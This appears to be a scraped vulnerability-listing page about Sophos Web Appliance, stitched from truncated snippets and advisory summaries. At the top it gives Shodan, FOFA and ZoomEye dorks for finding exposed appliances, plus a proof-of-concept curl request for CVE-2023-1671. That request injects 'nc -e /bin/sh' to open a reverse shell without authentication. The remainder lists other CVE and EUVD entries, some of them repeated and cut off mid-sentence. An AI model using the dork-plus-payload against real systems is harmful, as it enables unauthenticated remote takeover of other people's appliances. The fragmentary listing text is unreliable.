CVE-2023-1671-POC

Dork fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" Utilisation root@kitploit: python...

CVE-2023-1671

CVE-2023-1671 RCE sans authentification dans Sophos Web Appliance Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 "...

📄 Sophos Web Virtual Appliance 3.7.0 Directory Traversal

Proof of concept exploit for an older vulnerability from 2013 where Sophos Web Virtual Appliance version 3.7.0 suffered from a directory traversal vulnerability...

EUVD-2016-10359

Malware in sbrugna...

EUVD-2017-15249

Malware in sbrugna...

EUVD-2017-15469

Malware in sbrugna...

EUVD-2016-10360

Malware in sbrugna...

EUVD-2013-2582

Malware in sbrugna...

EUVD-2020-24134

Malware in sbrugna...

EUVD-2017-15248

Malware in sbrugna...

EUVD-2013-4828

Malware in sbrugna...

EUVD-2017-18454

Malware in sbrugna...

EUVD-2023-37499

Malicious code in bioql PyPI...

EUVD-2022-52188

Malicious code in bioql PyPI...

CVE-2023-33336

Reflected cross site scripting XSS vulnerability was discovered in Sophos Web Appliance v4.3.9.1 that allows for arbitrary code to be inputted via the double quotes...

CVE-2023-1671

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code...

CVE-2020-36692

A reflected XSS via POST vulnerability in report scheduler of Sophos Web Appliance versions older than 4.3.10.4 allows execution of JavaScript code in the victim browser via a malicious form that must be manually submitted by the victim while logged in to SWA...

CVE-2014-2849

The Change Password dialog box changepassword in Sophos Web Appliance before 3.8.2 allows remote authenticated users to change the admin user password via a crafted request...

CVE-2013-4984

The closeconnections function in /opt/cma/bin/clearkeys.pl in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows local users to gain privileges via shell metacharacters in the second argument...

CVE-2014-2850

The network interface configuration page netinterface in Sophos Web Appliance before 3.8.2 allows remote administrators to execute arbitrary commands via shell metacharacters in the address parameter...